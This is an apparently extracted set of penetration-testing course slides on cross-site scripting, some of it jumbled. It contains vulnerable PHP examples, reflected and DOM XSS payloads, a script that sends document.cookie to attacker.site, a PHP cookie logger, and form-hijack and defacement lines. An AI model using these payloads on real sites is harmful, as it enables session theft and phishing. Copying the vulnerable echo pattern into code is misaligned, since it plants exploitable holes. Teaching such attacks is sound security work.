10717-4 Cross Site Scripting
10717-4 Cross Site Scripting
4.6 Mitigation
<?php
echo '<h4>Hello ' . $_GET['name'] . '</h4>';
?>
http://victim.site/welcome.php?name=MyName
<h4>Hello MyName</h4>
http://victim.site/welcome.php?name=</h4><script>alert('This is an
XSS');</script>
%3c%2fh4%3e%3cscript%3ealert(%e2%80%98This+is+an+XSS%e2%80%99)%3b%
3c%2fscript%3e)
HEAD BODY
H1 P
This is an header This is some text
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Functions like getElementByTagName are DOM functions
that let us navigate through the page elements through a
hierarchical view (a node may have children as well as a
father and may contain attributes and so on).
For an example of what the DOM-tree of a web page looks
like consider using Firebug or Dom inspector add-ons for
Firefox.
<script>
var pos = document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
test.html?name=Armando
<html>
<head><title>Test XSS</title></head>
<body>
<img src="logo.png" alt="<?= $_GET['name'] ?>">
</body>
</html>
http://victim.site/index.php?name=<script>alert('XSS
Example')</script>
<html>
<head><title>Test XSS</title></head>
<body>
<img src="logo.png" alt="<script>alert('XSS
Example')</script>">
</body>
</html>
http://victim.site/index.php?name="><script>alert('XSS
Example')</script>
<html>
<head><title>Test XSS</title></head>
<body>
<img src="logo.png" alt=""><script>alert('XSS
Example')</script>">
</body>
</html>
The BODY tag turns out to be very useful for XSS payloads.
We have found a perfect way to inject our code into the web
page without triggering a user’s suspicion but, why not
improve our payload with something cooler?
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
What about this?
http://victim.site/index.php?name=" onload="javascript:alert('XSS
Example')
" onload="alert(String.fromCharCode(88,83,83))
Username Bob
204a564cae65ba Authenticated no
http://www.alice.xxx/members/search.php?kw=<script>var i=new
Image();i.src="http://attacker.site/steal.php?q="%2bdocument.cooki
e;</script>
The two <script> and </script> tags let our injected JavaScript
code work.
<script>
var i=new Image();
i.src="http://attacker.site/steal.php?q="%2bdocument.cookie;
</script>
Opens a $fn="log.txt";
cookie storage $fh=fopen($fn,'a'); Takes a value from the
file in append mode $cookie=$_GET['q']; query string and puts it in the
fwrite($fh,$cookie); $cookie variable
fclose($fh);
document.body.innerHTML="<h1>Defaced</h1>";
This and many others are the ways a phisher wants us to visit
a crafted website convincing us of its authenticity.
document.forms[0].action="https://hacker.site/steal.php";
Example:
XSS Beef